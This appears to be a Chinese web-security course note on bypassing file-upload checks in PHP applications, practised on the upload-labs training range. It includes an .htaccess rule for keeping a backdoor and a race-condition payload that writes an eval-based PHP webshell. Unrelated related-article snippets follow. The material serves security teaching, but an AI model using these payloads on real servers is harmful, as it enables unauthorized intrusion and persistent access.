DAY47WEB 攻防-PHP 应用文件上传函数缺陷条件竞争二次渲染黑白名单JS 绕过

news/2024/10/20 2:32:27/

1、PHP-原生态-文件上传-检测后缀&黑白名单
2、PHP-原生态-文件上传-检测信息&类型内容
3、PHP-原生态-文件上传-函数缺陷&逻辑缺陷
4、PHP-原生态-文件上传-版本缺陷&配置缺陷

文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用。另外文件上传也有多个存储逻辑,不同的文件存储方案也会给攻击者带来不一样的挑战!

测试环境安装参考:

本地使用phpstudy安装upload-labs靶场

https://github.com/fuzzdb-project/fuzzdb

1、前端JS

如何判断是否是前端验证呢?

首先抓包监听,如果上传文件的时候还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了

如何绕过?

先上传一个图片后缀抓包改成脚本后缀

2、.htaccess(apache独有的配置文件)

一般上传用的不多,主要用来留后门
apache中,.htaccess文件可以上传并执行
这个文件定义了哪个文件可以以脚本方式运行

方式一:
在.htaccess中写入:

<FilesMatch "s.jpg">

SetHandler application/x-httpd-php

</FilesMatch>

然后再上传s.jpg的木马, 这样s.jpg就可解析为php文件
最好拿到shell之后修改自带的这个文件,添加上面的那段代码,就可以留个后门了

方式二:

AddType application/x-httpd-php .png  

3、MIME类型

Content-Type:image/png || image/jpeg

4、文件头判断

GIF89a

5、黑名单-过滤不严

无递归(只检测一次,没循环)
pphphp(因为代码中是把匹配到的黑名单替换为空)

6、黑名单-过滤不严(windows中大小写没问题,但是在linux上是不能大小写的,要么全小写,要么全大写)

系统大小写敏感属性

7、低版本GET-%00截断

自动解码一次
/var/www/html/upload/x.php%00

8、低版本POST-%00截断

9、黑名单-过滤不严

10、逻辑不严-条件竞争

2.请求不断发包

3.访问创建脚本代码

<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>

11、二次渲染(后端语言会对图片进行二次渲染,让图片更好的呈现出来,但是这样就会造成一个图片里插入的脚本代码丢失的情况)

1.先搞个正常图片,上传图片后导出渲染后的图片

3.最后利用提示的文件包含执行图片后门代码

12、函数缺陷

1.使用move_uploaded_file 函数
2.保存的文件名可控


http://www.ppmy.cn/news/1540400.html

相关文章

使用 Git LFS(大文件存储)

Git LFS&#xff08;Large File Storage&#xff09;是一种扩展 Git 的工具&#xff0c;旨在更有效地管理大文件的版本控制。它通过将大文件的内容存储在 Git 之外来解决 Git 在处理大文件时的性能问题。 主要特点 替代存储&#xff1a;Git LFS 不直接将大文件存储在 Git 仓库…

基于STM32的电动汽车遥控器设计

引言 本项目设计了一个基于STM32的电动汽车遥控器&#xff0c;能够通过无线通信&#xff08;如蓝牙或射频模块&#xff09;控制电动汽车的前进、后退、左右转向等动作。该遥控器采用按键或摇杆操作&#xff0c;并通过无线模块将控制指令发送给汽车控制端&#xff0c;实现远程操…

数据结构练习题4(链表)

1两两交换链表中的节点 给你一个链表&#xff0c;两两交换其中相邻的节点&#xff0c;并返回交换后链表的头节点。你必须在不修改节点内部的值的情况下完成本题&#xff08;即&#xff0c;只能进行节点交换&#xff09;。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,4]…

上海市计算机学会竞赛平台2024年10月月赛丙组游戏闯关

题目描述 小爱现在想要通关一个游戏&#xff0c;已知这个游戏主角的生命值没有上限&#xff0c;但当游戏过程中任意时刻一旦生命值小于等于零、则游戏会结束。 已知该游戏共有 nn 的关卡&#xff0c;第 ii 个关卡有一个参数 aiai​&#xff0c;当 ai>0ai​>0 时表示小爱…

Spring Boot技术栈在电影评论网站中的应用

2相关技术 2.1 MYSQL数据库 MySQL是一个真正的多用户、多线程SQL数据库服务器。 是基于SQL的客户/服务器模式的关系数据库管理系统&#xff0c;它的有点有有功能强大、使用简单、管理方便、安全可靠性高、运行速度快、多线程、跨平台性、完全网络化、稳定性等&#xff0c;非常…

使用短效IP池的优势是什么?

短效IP池作为代理IP服务中一种独特的资源管理方式&#xff0c;其应用已经在数据采集、市场分析和网络安全等多个领域中展示出强大的功能。尽管“短效”听起来似乎意味着某种限制&#xff0c;然而在某些特定的应用场景下&#xff0c;短效IP池却提供了无可比拟的优势。本文将详细…

C++ 模板(基础)

前言&#xff1a; C 中的模板是一个强大的功能&#xff0c;允许程序员编写通用的代码&#xff0c;这些代码可以处理任何数据类型。模板使得代码更加灵活和可重用&#xff0c;而不必为每种数据类型编写重复的代码。下面详细解释 C 中的模板 内容摘要&#xff1a; 本文内容包含…

8-基于双TMS320C6678 + XC7K420T的6U CPCI Express高速数据处理平台

1、板卡概述 板卡由我公司自主研发&#xff0c;基于6UCPCI架构&#xff0c;处理板包含双片TI DSP TMS320C6678芯片&#xff1b;一片Xilinx公司FPGA XC7K420T-1FFG1156 芯片&#xff1b;六个千兆网口&#xff08;FPGA两个&#xff0c;DSP四个&#xff09;&#xff1b;DSP与FPGA之…